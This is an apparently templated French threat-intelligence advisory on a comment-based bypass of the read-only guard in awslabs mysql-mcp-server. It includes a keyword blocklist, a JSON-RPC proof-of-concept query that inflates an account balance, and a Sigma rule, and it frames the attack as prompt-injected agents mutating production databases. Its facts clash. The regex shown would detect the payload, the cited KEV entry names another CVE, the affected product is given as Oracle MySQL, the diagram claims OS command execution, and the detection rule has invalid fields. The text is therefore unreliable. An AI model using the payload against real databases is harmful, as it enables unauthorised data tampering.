CVE-2026-85788 : contournement du mode lecture seule par commentaires dans awslabs MySQL-MCP-Server

HERMES

SCORE DE MENACE HERMES & ÉVALUATION D'INFRASTRUCTURE AGENTIQUE

Cible : awslabs mysql-mcp-server (awslabs.mysql_mcp_server.query_guard (SQL Mutation Detector))

Confiance : 98%

84 / 100

ÉLEVÉ

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 19 / 20

Activité de menace 18 / 20

Militarisation 18 / 20

Exposition 18 / 20

Prévalence 17 / 20

Impact 17 / 20

Maturité de l'exploit 18 / 20

Potentiel d'attaque en chaîne 18 / 20

⚖️ Divergence & Justification opérationnelle

Le score CVSS v3.1 est noté à 8.2 (Élevé) et le score Hermes Threat Score est calculé à 84 (ÉLEVÉ). Ce défaut de détection permet à des agents manipulés par injection de prompt de modifier ou supprimer des tables en production.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-85788: awslabs mysql-mcp-server Comment-Bypass Mutation VulnerabilityVULNÉRABILITÉ

Nœuds connectés : 1

Relations sortantes actives

→ affectsCOMPOSANTOracle MySQL Server & Database Engine

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Oracle MySQL Server & Database Engine documented in Hermes dossier.”

Preuves vérifiées associées :

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

1. Contexte technique & matrice d’impact

Paramètre	Spécification Technique	Contexte de Menace
Identifiant CVE	`CVE-2026-85788`	Menaces IA Agentique & Protocole MCP
Produit ciblé	`awslabs mysql-mcp-server`	`Amazon Web Services / MCP Community`
Composant affecté	`awslabs.mysql_mcp_server.query_guard (SQL Mutation Detector)`	Orchestrateur et couche d’outils agentiques
Nature de la faille	`CWE-89: SQL Injection / CWE-184: Incomplete Blacklist`	Violation d’intégrité et d’exécution
Versions vulnérables	`all versions prior to 0.3.5`	Environnements en production
Correctif disponible	`0.3.5`	Mise à jour impérative

2. Analyse technique approfondie

Décomposition du contournement

Le validateur recherchait les mots-clés interdits via des expressions régulières avec délimiteurs de mots (\b) :

BLOCKED_KEYWORDS = ["UPDATE", "DELETE", "DROP", "ALTER", "INSERT", "TRUNCATE"]
for word in BLOCKED_KEYWORDS:
    if re.search(r"\b" + word + r"\b", query, re.IGNORECASE):
        raise SecurityException("Mutating SQL statements are forbidden.")

Le moteur MySQL exécute le contenu des blocs /*!50000 ... */. Lorsque des commentaires imbriqués ou des fractionnements de mots sont utilisés, la regex ne détecte pas le mot-clé et la requête est exécutée par le serveur de base de données.

+----------------------------------------------------------------------------------------------------+
|                         CYCLE D'ATTAQUE CVE-2026-85788                                                   |
+----------------------------------------------------------------------------------------------------+

   [Attaquant / Injection de Prompt]
          │
          │ [1] Émission du payload ciblant l'interface d'outil ou l'orchestrateur
          ▼
   [awslabs mysql-mcp-server]
          │
          ├───► 1. Ingestion par awslabs.mysql_mcp_server.query_guard (SQL Mutation Detector)
          │     - Échec de validation, absence de filtrage ou contournement de sandbox
          │
          ├───► 2. Exécution / Mutation d'état
          │     - Exécution de commandes OS ou exfiltration d'identifiants
          │
          ▼
   [Infrastructure Cible Compromise]
          │
          └───► Vol de données, prise de contrôle du serveur ou persistance
+----------------------------------------------------------------------------------------------------+

3. Preuve de concept (PoC) & analyse du payload

{
  "jsonrpc": "2.0",
  "id": 10,
  "method": "tools/call",
  "params": {
    "name": "run_query",
    "arguments": {
      "sql": "SELECT 1; /*!50000 UPDATE accounts SET balance = balance + 100000 WHERE id = 42 */"
    }
  }
}

4. Ingénierie de détection & télémétrie

Règle de détection Sigma

title: MySQL MCP Versioned Comment Mutation Bypass
id: 85788c01-e788-4a1b-8f22-mysqlmcp01
status: high
description: Detects MySQL versioned comment injection syntax in queries handled by mysql-mcp-server.
author: Hermes Codex Detection Engineering
date: 2026-09-07
logsource:
  product: mysql
  service: general_query_log
detection:
  selection:
    argument|contains:
      - '/*!'
      - 'UPDATE'
      - 'DELETE'
      - 'DROP'
  condition: selection
level: high

5. Guide de remédiation & plan d’action

Appliquer les correctifs : mettre à jour awslabs mysql-mcp-server vers la version 0.3.5 sans délai.
Restreindre les outils MCP : vérifier les déclarations d’outils et isoler les exécutions dans des conteneurs sandboxés éphémères.
Auditer les journaux système : examiner les logs d’exécution pour repérer d’éventuels processus enfants anormaux ou appels réseau suspects.
Appliquer le moindre privilège : restreindre les comptes de service associés aux agents sur les bases de données et les clés cloud.